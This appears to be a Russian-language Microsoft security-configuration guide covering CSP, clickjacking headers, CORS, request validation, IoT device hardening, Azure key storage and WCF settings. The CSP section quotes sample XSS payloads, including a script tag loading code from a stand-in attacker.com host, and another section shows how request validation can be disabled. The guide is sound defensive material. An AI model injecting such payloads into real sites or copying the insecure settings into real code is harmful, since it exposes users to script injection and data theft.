Механизм безопасности. Управление конфигурацией | Устранение угроз

Продукт или служба Статья
Веб-приложение
База данных
Веб-API
Устройство IoT
Полевой шлюз Интернета вещей
Облачный шлюз Интернета вещей
Граница доверия между компьютерами
Хранилище Azure
WCF

Реализуйте политику безопасности содержимого (CSP) и отключите встроенный скрипт JavaScript

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Общие сведения о политике безопасности содержимого, справочнике по политике безопасности содержимого, введение в политику безопасности содержимого, можно ли использовать CSP?
Шаги

Политика безопасности содержимого (CSP) — это многоуровневый механизм обеспечения безопасности, рекомендованный консорциумом W3C, который позволяет владельцам веб-приложений управлять содержимым их сайтов. CSP добавляется в виде заголовка ответа HTTP на веб-сервере и принудительно применяется в браузерах на стороне клиента. Эта политика основана на списке разрешений, то есть веб-сайт может объявить набор доверенных доменов, из которых можно скачивать активное содержимое, например скрипт JavaScript.

CSP предоставляет следующие преимущества безопасности.

  • Защита от межсайтовых сценариев. Если страница уязвима для такого типа атак, злоумышленник может проникнуть на нее двумя способами:
    • Внедрить <script>malicious code</script>. Злоумышленник не сможет проникнуть на страницу из-за базового ограничения 1 CSP.
    • Внедрить <script src="http://attacker.com/maliciousCode.js"/>. Злоумышленник не сможет проникнуть на страницу, так как его домен не включен в список разрешений CSP.
  • Контроль над эксфильтрацией данных. Если любое вредоносное содержимое на веб-странице пытается подключиться к внешнему веб-сайту и украсть данные, CSP прервет подключение. Это связано с тем, что целевой домен не включен в список разрешений.
  • Защита от кликджекинга. Кликджекинг — это метод атаки, с помощью которого злоумышленник может создать подлинный веб-сайт и вынудить пользователей щелкнуть элементы интерфейса. Сейчас защита от кликджекинга осуществляется с помощью заголовка ответа X-Frame-Options. Некоторые браузеры игнорируют этот заголовок и используют для защиты политику CSP.
  • Создание отчетов об атаках в режиме реального времени. При обнаружении атаки путем внедрения кода на веб-сайте с поддержкой CSP браузеры автоматически отправляют уведомление на конечную точку, настроенную на веб-сервере. В этом случае CSP используется как система оповещений в режиме реального времени.

Пример

Пример политики:

Content-Security-Policy: default-src 'self'; script-src 'self' www.google-analytics.com 

Эта политика позволяет скачивать скрипты только с сервера веб-приложения и сервера Google Analytics. Все остальные скрипты отклоняются. Если на веб-сайте включена политика CSP, некоторые функции отключаются автоматически (см. ниже). Это позволяет предотвратить выполнение межсайтовых сценариев.

Пример

Встроенные скрипты выполняться не будут. Ниже приведены примеры встроенных скриптов.

<script> some JavaScript code </script>
Event handling attributes of HTML tags (for example, <button onclick="function(){}">
javascript:alert(1);

Пример

Строки не будут рассматриваться в качестве кода.

Example: var str="alert(1)"; eval(str);

Включите фильтр межсайтовых сценариев в браузере

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Фильтр защиты от межсайтовых сценариев
Шаги

Конфигурация заголовка ответа X-XSS-Protection управляет фильтром выполнения межсайтовых сценариев в браузере. Этот заголовок ответа может иметь следующие значения.

  • 0:. Это значение позволяет отключить фильтр.
  • 1: Filter enabled. При обнаружении выполнения межсайтового сценария браузер очищает страницу, чтобы остановить атаку.
  • 1: mode=block : Filter enabled. При обнаружении выполнения межсайтового сценария браузер предотвращает визуализацию страницы, а не очищает ее.
  • 1: report=http://[YOURDOMAIN]/your_report_URI : Filter enabled. Браузер очищает страницу и выводит сообщение о нарушении.

Это функция браузера Chromium, которая использует сообщения о нарушениях для отправки сведений о нарушении в выбранный универсальный код ресурса (URI). Последние два параметра рассматриваются как безопасные значения.

Отключите трассировку и отладку приложений ASP.NET перед развертыванием

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Общие сведения об отладке в ASP.NET, Общие сведения о трассировке ASP.NET, Практическое руководство. Включение трассировки для приложений ASP.NET, практическое руководство по включению отладки приложений ASP.NET
Шаги Если трассировка страницы включена, каждый браузер, отправляющий к ней запрос, получает сведения о трассировке с данными о рабочем процессе и состоянии внутреннего сервера. Эти сведения могут быть секретными. Если включена отладка страницы, при возникновении ошибок на сервере все данные трассировки стека отправляются в браузер. Эти данные могут содержать секретные сведения о рабочем процессе сервера.

Получайте доступ к сторонним скриптам JavaScript только из доверенных источников

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Н/П
Шаги Используйте сторонние скрипты JavaScript только из доверенных источников На соответствующих конечных точках всегда должен быть включен протокол TLS.

Внедрите защиту от кликджекинга на страницах ASP.NET

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Памятка по защите от кликджекинга OWASP, внутренняя документация Internet Explorer по борьбе с кликджекингом при помощи заголовка ответа X-Frame-Options
Шаги

Кликджекинг — это механизм обмана, при котором злоумышленник использует прозрачные или непрозрачные уровни, чтобы обманным путем заставить пользователя нажать кнопку или щелкнуть ссылку на другой странице, когда он намеревается щелкнуть страницу верхнего уровня.

Такая многоуровневая структура достигается за счет создания вредоносной страницы в фрейме, который загружает страницу жертвы. Таким образом, злоумышленник перехватывает щелчки мыши, сделанные на странице, и перенаправляет пользователей на другую страницу, скорее всего, принадлежащую другому приложению или домену (или и тому, и другому). Чтобы предотвратить кликджекинг, задайте соответствующие заголовки HTTP-ответа X-Frame-Options, не разрешающие использовать фреймы из других доменов в браузере.

Пример

Заголовок X-FRAME-OPTIONS можно задать с помощью iis web.config. Фрагмент кода web.config для сайтов, которые никогда не должны быть обрамлены:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="DENY"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Пример

Код web.config для сайтов, использующих фреймы только на страницах, расположенных в одном и том же домене, выглядит следующим образом:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="SAMEORIGIN"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Настройте доступ к веб-приложениям ASP.NET с включенной технологией CORS только из доверенных источников

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Веб-формы, MVC 5
Атрибуты Н/П
Ссылки Н/П
Шаги

Параметры безопасности веб-браузера предотвращают отправку запросов AJAX с веб-страницы к другому домену. Такое ограничение называется политикой одного источника. Эта политика предотвращает чтение вредоносным сайтом конфиденциальных данных с другого сайта. Тем не менее в некоторых случаях необходимо обеспечить безопасное предоставление API-интерфейсов, которые могут использовать другие сайты. Общий доступ к ресурсам независимо от источника (CORS) — это стандарт консорциума W3C, позволяющий серверу смягчить ограничения политики одного источника. С помощью CORS сервер может явным образом разрешить некоторые запросы независимо от источника, а другие — отклонить.

Технология CORS более безопасная и гибкая, чем предыдущие технологии, например JSONP. По сути, чтобы включить CORS, в код веб-приложения необходимо добавить несколько заголовков HTTP-ответа (Access-Control-*). Это можно сделать несколькими способами.

Пример

Если у вас есть доступ к файлу Web.config, то CORS можно добавить с помощью приведенного ниже кода.

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <clear />
        <add name="Access-Control-Allow-Origin" value="https://example.com" />
      </customHeaders>
    </httpProtocol>

Пример

Если доступ к файлу web.config отсутствует, спецификацию CORS можно настроить, добавив следующий код C#:

HttpContext.Response.AppendHeader("Access-Control-Allow-Origin", "https://example.com")

Обратите внимание, что в качестве значения атрибута Access-Control-Allow-Origin настоятельно необходимо задать конечный набор доверенных источников. При неправильной конфигурации этого параметра (например, если задать значение "*") вредоносные сайты смогут отправлять независимые от источника запросы к веб приложению без каких-либо ограничений, в результате чего приложение становится уязвимым для CSRF-атак.

Включите атрибут ValidateRequest на страницах ASP.NET

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Веб-формы, MVC 5
Атрибуты Н/П
Ссылки Сведения о предотвращении атак путем внедрения кода с помощью функции проверки запросов
Шаги

Проверка запроса — это особенность ASP.NET с версии 1.1, которая запрещает серверу принимать контент, содержащий незакодированный код HTML. Эта функция предназначена для предотвращения некоторых атак с использованием вставки сценариев, в результате чего код клиентского сценария или HTML может быть незаметно отправлен на сервер, сохранен, а затем представлен другим пользователям. Мы по-прежнему настоятельно рекомендуем проверять все входные данные и кодировать их HTML, когда это необходимо.

Проверка запросов выполняется путем сравнения всех входящих данных со списком потенциально опасных значений. При выявлении совпадения ASP.NET вызывает исключение HttpRequestValidationException. По умолчанию функция проверки запросов включена.

Пример

Тем не менее эту функцию можно отключить на уровне страниц:

<%@ Page validateRequest="false" %> 

Или на уровне приложения:

<configuration>
   <system.web>
      <pages validateRequest="false" />
   </system.web>
</configuration>

Обратите внимание, что функция проверки запросов не поддерживается и не входит в конвейер MVC6.

Используйте локально размещенные последние версии библиотек JavaScript

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Н/П
Шаги

Разработчики, пользующиеся стандартными библиотеками JavaScript (например, JQuery), должны использовать их утвержденные версии, не имеющие известных проблем с безопасностью. Мы рекомендуем использовать последние версии библиотек, так как в них добавлены исправления проблем с безопасностью, обнаруженных в предыдущих версиях.

Если последний выпуск не поддерживается по причинам совместимости, используйте минимальные версии, приведенные ниже.

Минимальные допустимые версии:

  • JQuery
    • JQuery 1.7.1
    • JQueryUI 1.10.0
    • JQuery Validate 1.9
    • JQuery Mobile 1.0.1
    • JQuery Cycle 2.99
    • JQuery DataTables 1.9.0
  • AJAX Control Toolkit
    • Ajax Control Toolkit 40412
  • Веб-формы ASP.NET и Ajax
    • Веб-формы ASP.NET и Ajax 4
    • ASP.NET Ajax 3.5
  • ASP.NET MVC
    • ASP.NET MVC 3.0

Никогда не скачивайте какие-либо библиотеки JavaScript с внешних сайтов, например в общедоступной сети доставки содержимого.

Отключите автоматическое обнаружение типов MIME

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Запись блога по безопасности IE8, часть 5 о комплексной защите, Список MIME-типов
Шаги Заголовок X-Content-Type-Options — это HTTP-заголовок, используя который разработчики могут запретить определение типов MIME содержимого. Этот заголовок обеспечивает защиту от атак путем определения типов MIME. Для каждой страницы, на которой может быть содержимое, управляемое пользователем, необходимо использовать HTTP-заголовок X-Content-Type-Options:nosniff. Чтобы включить требуемый заголовок глобально для всех страниц в приложении, выполните одно из следующих действий.

Пример

Добавьте заголовок в файл web.config, если приложение размещено в службах IIS 7 и более поздних версий.

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>

Пример

Добавьте заголовок с помощью глобальной функции Application_BeginRequest

void Application_BeginRequest(object sender, EventArgs e)
{
this.Response.Headers["X-Content-Type-Options"] = "nosniff";
}

Пример

Внедрите пользовательский HTTP-модуль.

public class XContentTypeOptionsModule : IHttpModule
{
#region IHttpModule Members
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreSendRequestHeaders += newEventHandler(context_PreSendRequestHeaders);
}
#endregion
void context_PreSendRequestHeaders(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if (application == null)
  return;
if (application.Response.Headers["X-Content-Type-Options "] != null)
  return;
application.Response.Headers.Add("X-Content-Type-Options ", "nosniff");
}
}

Пример

Чтобы включить требуемый заголовок только для определенных страниц, добавьте его в отдельные ответы:

this.Response.Headers["X-Content-Type-Options"] = "nosniff";

Удалите стандартные заголовки сервера на веб-сайтах Microsoft Azure во избежание использования отпечатка

Заголовок Сведения
Компонент Веб-приложение
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты EnvironmentType: Azure
Ссылки Сведения об удалении стандартных заголовков сервера на веб-сайтах Microsoft Azure
Шаги Такие заголовки, как Server, X-Powered-By, X-AspNet-Version, отображают сведения о сервере и базовых технологиях. Мы рекомендуем удалить эти заголовки, чтобы предотвратить использование отпечатка в приложении.

Настройка брандмауэра Windows для доступа к компоненту Database Engine

Заголовок Сведения
Компонент База данных
Этап SDL Сборка
Применимые технологии SQL Azure, локальные
Атрибуты Отсутствуют, версия SQL: 12
Ссылки Обзор правил брандмауэра Базы данных SQL Azure, Настройка брандмауэра Windows для доступа к компоненту Database Engine
Шаги Системы брандмауэра помогают предотвратить несанкционированный доступ к ресурсам компьютера. Чтобы получить доступ к экземпляру ядра СУБД SQL Server через брандмауэр, необходимо настроить брандмауэр на компьютере под управлением SQL Server.

Настройте доступ к веб-API ASP.NET с включенной технологией CORS только из доверенных источников

Заголовок Сведения
Компонент Веб-интерфейс API
Этап SDL Сборка
Применимые технологии MVC 5
Атрибуты Н/П
Ссылки Статья о включении запросов независимо от источника в веб-API 2 ASP.NET, Поддержка CORS в веб-API 2 ASP.NET
Шаги

Параметры безопасности веб-браузера предотвращают отправку запросов AJAX с веб-страницы к другому домену. Такое ограничение называется политикой одного источника. Эта политика предотвращает чтение вредоносным сайтом конфиденциальных данных с другого сайта. Тем не менее в некоторых случаях необходимо обеспечить безопасное предоставление API-интерфейсов, которые могут использовать другие сайты. Общий доступ к ресурсам независимо от источника (CORS) — это стандарт консорциума W3C, позволяющий серверу смягчить ограничения политики одного источника.

С помощью CORS сервер может явным образом разрешить некоторые запросы независимо от источника, а другие — отклонить. Технология CORS более безопасная и гибкая, чем предыдущие технологии, например JSONP.

Пример

Откройте файл App_Start/WebApiConfig.cs и добавьте в метод WebApiConfig.Register следующий код:

using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

Пример

Атрибут EnableCors можно применить к методам действий в контроллере следующим образом:

public class ResourcesController : ApiController
{
  [EnableCors("http://localhost:55912", // Origin
              null,                     // Request headers
              "GET",                    // HTTP methods
              "bar",                    // Response headers
              SupportsCredentials=true  // Allow credentials
  )]
  public HttpResponseMessage Get(int id)
  {
    var resp = Request.CreateResponse(HttpStatusCode.NoContent);
    resp.Headers.Add("bar", "a bar value");
    return resp;
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "PUT",                          // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "POST",                         // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
}

Обратите внимание, что в качестве значения атрибута EnableCors настоятельно необходимо задать конечный набор доверенных источников. При неправильной конфигурации этого параметра (например, если задать значение "*") вредоносные сайты смогут отправлять независимые от источника запросы к API без каких-либо ограничений, в результате чего API становится уязвимым для CSRF-атак. Атрибут EnableCors можно добавить на уровне контроллера.

Пример

Чтобы отключить CORS в определенном методе класса, добавьте атрибут DisableCors следующим образом:

[EnableCors("https://example.com", "Accept, Origin, Content-Type", "POST")]
public class ResourcesController : ApiController
{
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  // CORS not allowed because of the [DisableCors] attribute
  [DisableCors]
  public HttpResponseMessage Delete(int id)
  {
    return Request.CreateResponse(HttpStatusCode.NoContent);
  }
}
Заголовок Сведения
Компонент Веб-интерфейс API
Этап SDL Сборка
Применимые технологии MVC 6
Атрибуты Н/П
Ссылки Статья о включении запросов независимо от источника в ASP.NET Core 1.0
Шаги

В ASP.NET Core 1.0 запросы независимо от источника можно включить с помощью ПО промежуточного слоя или MVC. Если CORS включается через MVC, используются те же самые службы CORS, но без ПО промежуточного слоя.

Способ 1. Запросы независимо от источника можно включить с помощью ПО промежуточного слоя. Чтобы включить их для всего приложения, добавьте ПО промежуточного слоя CORS в конвейер запросов с помощью метода расширения UseCors. При добавлении ПО промежуточного слоя CORS вы можете применить политику независимо от источника с помощью класса CorsPolicyBuilder. Это можно сделать двумя способами.

Пример

Первый способ — вызвать UseCors с помощью лямбда-выражения. Лямбда-выражение принимает объект CorsPolicyBuilder:

public void Configure(IApplicationBuilder app)
{
    app.UseCors(builder =>
        builder.WithOrigins("https://example.com")
        .WithMethods("GET", "POST", "HEAD")
        .WithHeaders("accept", "content-type", "origin", "x-custom-header"));
}

Пример

Второй способ — определить одну или несколько именованных политик CORS, а затем выбрать политику по имени во время выполнения.

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("AllowSpecificOrigin",
            builder => builder.WithOrigins("https://example.com"));
    });
}
public void Configure(IApplicationBuilder app)
{
    app.UseCors("AllowSpecificOrigin");
    app.Run(async (context) =>
    {
        await context.Response.WriteAsync("Hello World!");
    });
}

Способ 2. CORS можно включить из MVC. Разработчики также могут использовать MVC, чтобы применить общий доступ к ресурсам независимо от источника для каждого действия, отдельного контроллера или глобально для всех контроллеров.

Пример

Чтобы указать политику CORS для определенного действия, добавьте в действие атрибут [EnableCors]. Введите имя политики.

public class HomeController : Controller
{
    [EnableCors("AllowSpecificOrigin")] 
    public IActionResult Index()
    {
        return View();
    }

Пример

Для контроллера:

[EnableCors("AllowSpecificOrigin")]
public class HomeController : Controller
{

Пример

Глобально:

public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.Configure<MvcOptions>(options =>
    {
        options.Filters.Add(new CorsAuthorizationFilterFactory("AllowSpecificOrigin"));
    });
}

Обратите внимание, что в качестве значения атрибута EnableCors настоятельно необходимо задать конечный набор доверенных источников. При неправильной конфигурации этого параметра (например, если задать значение "*") вредоносные сайты смогут отправлять независимые от источника запросы к API без каких-либо ограничений, в результате чего API становится уязвимым для CSRF-атак.

Пример

Чтобы отключить CORS для контроллера или действия, используйте атрибут [DisableCors].

[DisableCors]
    public IActionResult About()
    {
        return View();
    }

Шифруйте разделы файлов конфигурации веб-API, содержащие конфиденциальные данные

Заголовок Сведения
Компонент Веб-интерфейс API
Этап SDL Развертывание
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Руководство по шифрованию разделов конфигурации в ASP.NET 2.0 с помощью DPAPI, сведения об указании поставщика защищенной конфигурации, использование Azure Key Vault для защиты секретов приложения
Шаги Такие файлы конфигурации, как web.config и appsettings.json, часто используются для хранения конфиденциальной информации, включая имена пользователей, пароли, строки подключения к базам данных и ключи шифрования. Если эти данные не защищены, приложение становится уязвимым для злоумышленников, которые таким образом могут получить различные конфиденциальные сведения, например имена учетных записей пользователей, пароли, имена баз данных и имена серверов. На основе типа развертывания (Azure или локального) зашифруйте конфиденциальные разделы файлов конфигурации с помощью DPAPI или таких служб, как Azure Key Vault.

Обеспечьте безопасность всех интерфейсов администратора с использованием надежных учетных данных

Заголовок Сведения
Компонент Устройство Интернета вещей
Этап SDL Развертывание
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Н/П
Шаги Все административные интерфейсы устройства или полевого шлюза должны быть защищены с использованием надежных учетных данных. Кроме того, также необходимо обеспечить защиту остальных предоставленных интерфейсов, например Wi-Fi, SSH, общих файловых ресурсов и FTP. Не следует использовать слабые пароли, заданные по умолчанию.

Защитите устройства от выполнения неизвестного кода

Заголовок Сведения
Компонент Устройство Интернета вещей
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Раздел о включении безопасной загрузки и шифрования BitLocker в Windows 10 IoT Базовая
Шаги Функция "Безопасная загрузка UEFI" обеспечивает выполнение в системе только двоичных файлов, подписанных в определенных центрах. Эта функция предотвращает выполнение неизвестного кода на платформе и защищает систему от потенциальных проблем с безопасностью. Включите функцию "Безопасная загрузка UEFI" и укажите список доверенных центров сертификации, использующихся для подписания кода. Подпишите весь код, развернутый на устройстве, в одном из доверенных центров.

Шифруйте разделы операционной системы и другие разделы устройства Интернета вещей с помощью BitLocker

Заголовок Сведения
Компонент Устройство Интернета вещей
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Н/П
Шаги Windows 10 IoT Базовая предоставляет облегченную версию функции шифрования устройства с помощью технологии BitLocker. Во многом эта функция зависит от наличия доверенного платформенного модуля на платформе, а также от протокола PreOS в UEFI, который выполняет необходимые измерения. Эти измерения гарантируют, что операционная система имеет необходимую запись о запуске. Мы рекомендуем шифровать с помощью технологии BitLocker разделы операционной системы, а также все прочие разделы, на которых хранятся конфиденциальные данные.

Включите минимальное количество служб и функций на устройстве

Заголовок Сведения
Компонент Устройство Интернета вещей
Этап SDL Развертывание
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Н/П
Шаги Не включайте или отключите любые функции или службы в операционной системе, не влияющие на работу решения. Например, если для устройства не требуется развертывать пользовательский интерфейс, установите Windows IoT Базовую в режиме без монитора.

Шифруйте разделы операционной системы и другие разделы полевого шлюза Интернета вещей с помощью BitLocker

Заголовок Сведения
Компонент Полевой шлюз Интернета вещей
Этап SDL Развертывание
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Н/П
Шаги Windows 10 IoT Базовая предоставляет облегченную версию функции шифрования устройства с помощью технологии BitLocker. Во многом эта функция зависит от наличия доверенного платформенного модуля на платформе, а также от протокола PreOS в UEFI, который выполняет необходимые измерения. Эти измерения гарантируют, что операционная система имеет необходимую запись о запуске. Мы рекомендуем шифровать с помощью технологии BitLocker разделы операционной системы, а также все прочие разделы, на которых хранятся конфиденциальные данные.

Измените учетные данные для входа в систему полевого шлюза по умолчанию во время установки

Заголовок Сведения
Компонент Полевой шлюз Интернета вещей
Этап SDL Развертывание
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Н/П
Шаги Измените учетные данные для входа в систему полевого шлюза по умолчанию во время установки

Реализуйте процесс обновления встроенного ПО подключенных устройств в облачном шлюзе

Заголовок Сведения
Компонент Облачный шлюз Интернета вещей
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Выбор шлюза: Центр Интернета вещей Azure
Ссылки Обзор управления устройствами Центра Интернета вещей,Учебник. Обновление устройств для Центра Интернета вещей Azure с использованием эталонного образа для Raspberry Pi 3 B+.
Шаги LWM2M — это протокол управления устройствами Интернета вещей, предоставленный международной организацией по разработке открытых стандартов для мобильных телефонов (Open Mobile Alliance, OMA). Управление устройствами Azure IoT позволяет взаимодействовать с физическими устройствами, используя задания устройств. Убедитесь, что облачный шлюз регулярно обновляет устройство и данные конфигурации с помощью функции управления устройствами с помощью Центра Интернета вещей Azure.

Настройте элементы управления безопасностью конечных точек устройства в соответствии с политиками организации

Заголовок Сведения
Компонент Граница доверия между компьютерами
Этап SDL Развертывание
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Н/П
Шаги Убедитесь, что на устройстве настроены элементы управления безопасностью конечных точек, например шифрование BitLocker, выполняемое на уровне дисков, антивирусная программа с обновленными подписями, брандмауэр на основе узла, обновления операционной системы, групповые политики и т. д., в соответствии с политиками безопасности организации.

Обеспечьте безопасное управление ключами доступа к хранилищу Azure

Заголовок Сведения
Компонент Хранилище Azure
Этап SDL Развертывание
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Руководство по безопасности службы хранилища Azure. Управление ключами учетной записи хранения
Шаги

Мы рекомендуем хранить ключи доступа к хранилищу Azure в Azure Key Vault в качестве секрета, а также использовать приложения для их извлечения. Это связано со следующими причинами.

  • Приложение никогда не хранит жестко закодированный ключ хранилища в файле конфигурации, что устраняет риск получения доступа к ключам со стороны лиц, не имеющих соответствующих разрешений.
  • Доступ к ключам можно контролировать с помощью идентификатора Microsoft Entra. Это означает, что владелец учетной записи может предоставить доступ для нескольких приложений, извлекающих ключи из Azure Key Vault. Другие приложения не смогут получить доступ к ключам, не имея необходимых разрешений.
  • В целях безопасности мы рекомендуем реализовать механизм повторного создания ключей доступа к хранилищу Azure. Сведения о том, зачем и как это сделать, см. в руководстве по безопасности службы хранилища Azure.

Настройте доступ к службе хранилища Azure с включенной технологией CORS только из доверенных источников

Заголовок Сведения
Компонент Хранилище Azure
Этап SDL Сборка
Применимые технологии Универсальный
Атрибуты Н/П
Ссылки Статья о поддержке CORS в службах хранилища Azure
Шаги Служба хранилища Azure позволяет включить CORS — общий доступ к ресурсам независимо от источника. Для каждой учетной записи хранения можно указать домены, которым разрешен доступ к ресурсам в ней. По умолчанию механизм CORS отключен для всех служб. Включить CORS можно с помощью REST API или клиентской библиотеки хранилища, вызвав один из методов для задания политик службы.

Включите компонент регулирования служб WCF

Заголовок Сведения
Компонент WCF
Этап SDL Сборка
Применимые технологии .NET Framework 3
Атрибуты Н/П
Ссылки MSDN, Fortify Kingdom
Шаги

Если не задать ограничение на использование системных ресурсов, они могут исчерпаться, что в конечном счете может привести к отказу в обслуживании.

  • Пояснение. Windows Communication Foundation (WCF) предоставляет возможность регулировать количество запросов на обслуживание. Слишком большое количество клиентских запросов может привести к переполнению системы, в результате чего ее ресурсы могут исчерпаться. С другой стороны, при недостаточном количестве запросов к службе пользователи могут перестать использовать ее. Для каждой службы следует настроить необходимый объем ресурсов.
  • Рекомендации. Включите функцию регулирования служб WCF и задайте ограничения, соответствующие вашему приложению.

Пример

Ниже приведен пример конфигурации с включенной функцией регулирования.

<system.serviceModel> 
  <behaviors>
    <serviceBehaviors>
    <behavior name="Throttled">
    <serviceThrottling maxConcurrentCalls="[YOUR SERVICE VALUE]" maxConcurrentSessions="[YOUR SERVICE VALUE]" maxConcurrentInstances="[YOUR SERVICE VALUE]" /> 
  ...
</system.serviceModel> 

Применяйте раскрытие информации через метаданные, переданные WCF

Заголовок Сведения
Компонент WCF
Этап SDL Сборка
Применимые технологии .NET Framework 3
Атрибуты Н/П
Ссылки MSDN, Fortify Kingdom
Шаги Используя метаданные, злоумышленники могут получить сведения о системе и спланировать тип атаки. Службы WCF могут предоставлять метаданные. В этих метаданных содержится подробное описание службы, и поэтому их не следует передавать в рабочих средах. Свойства HttpGetEnabled / HttpsGetEnabled класса ServiceMetaData определяют, будет ли служба предоставлять метаданные.

Пример

Код ниже указывает WCF передавать метаданные службы.

ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb); 

Не передавайте метаданные службы в рабочей среде. Задайте для свойства HttpGetEnabled или HttpsGetEnabled класса ServiceMetaData значение false.

Пример

Код ниже указывает WCF не передавать метаданные службы.

ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 
smb.HttpGetEnabled = false; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb);